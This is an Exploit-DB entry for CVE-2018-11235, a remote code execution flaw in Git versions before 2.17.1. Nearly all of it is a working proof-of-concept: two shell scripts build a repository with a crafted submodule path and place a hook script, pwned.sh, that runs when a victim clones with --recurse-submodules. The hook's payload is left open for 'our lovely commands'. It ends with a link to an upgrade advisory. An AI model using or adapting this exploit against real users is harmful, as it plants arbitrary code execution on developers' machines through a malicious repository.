Git < 2.17.1 - Remote Code Execution

2018-06-01T00:00:00
ID EDB-ID:44822
Type exploitdb
Reporter Exploit-DB
Modified 2018-06-01T00:00:00

Description

Git < 2.17.1 - Remote Code Execution. CVE-2018-11235. Remote exploit for Linux platform

                                        
                                            # Exploit Title:  Git (code execution)
# Date: 2018-05-29
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com &lt;http://jameelnabbo.com/&gt;
# Vendor Homepage: https://github.com/git/git &lt;https://github.com/git/git&gt;
# CVE: CVE-2018-11235
 #Version:  &lt;=2.17.1 
# Tested on Kali Linux


P0C:

Create two files:
pwned.sh: the file which will contain our commands to be executed 
commit.sh the fole which contain a normal build with a bit of calls to our pwned.sh file

add the follwing to Pwned.sh:
#!/bin/sh
cat &lt;&lt; EOF

#here we can put our lovely commands
Exploited! : $(ifconfig)

EOF

#--------

Add the follwing to commit.sh file:
#!/bin/sh

set -e

repo_dir="$PWD/repo"
#change it to any other Repo
repo_submodule='https://github.com/JameelNabbo/SmartWorm'

git init "$repo_dir"
cd "$repo_dir"
git submodule add "$repo_submodule" pwned
mkdir modules
cp -r .git/modules/pwned modules
cp ../pwned.sh modules/pwned/hooks/post-checkout
git config -f .gitmodules submodule.pwned.update checkout
git config -f .gitmodules --rename-section submodule.pwned submodule.../../modules/pwned
git add modules
git submodule add "$repo_submodule"
git add SmartWorm
git commit -am pwned
echo "All done, now \`git clone --recurse-submodules \"$repo_dir\" dest_dir\`”


——————
Solution:
https://www.edwardthomson.com/blog/upgrading_git_for_cve2018_11235.html